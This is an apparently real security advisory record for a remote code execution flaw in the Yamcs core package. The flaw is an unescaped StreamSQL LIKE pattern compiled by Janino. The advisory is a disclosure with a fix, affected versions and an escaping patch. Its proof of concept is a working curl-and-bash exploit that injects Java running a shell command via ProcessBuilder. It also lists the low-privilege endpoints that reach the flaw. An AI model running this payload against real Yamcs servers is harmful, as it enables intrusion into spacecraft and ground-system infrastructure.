CVE-2026-55565: Yamcs core Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c64q-hj4j-375f",
  "modified" : "2026-08-28T17:30:32Z",
  "published" : "2026-08-28T17:30:32Z",
  "aliases" : [ "CVE-2026-55565" ],
  "summary" : "Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)",
  "details" : "## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(<col>, \"<pattern>\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"'\" (~[\"'\"])* \"'\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -> `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://<host>:8090\nINSTANCE=<instance>\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d 'grant_type=password&username=USER&password=PASS' \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}'\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN='a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id > /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1'\nSQL=\"create stream pwn as select * from demo where y like '$PATTERN'\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d \"$(python3 -c 'import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))' \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -> uid=...(...)\n```\nA benign `like 'abc%'` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.13.0"
      }, {
        "fixed" : "5.13.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.13.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T17:30:32Z",
    "nvd_published_at" : null
  }
}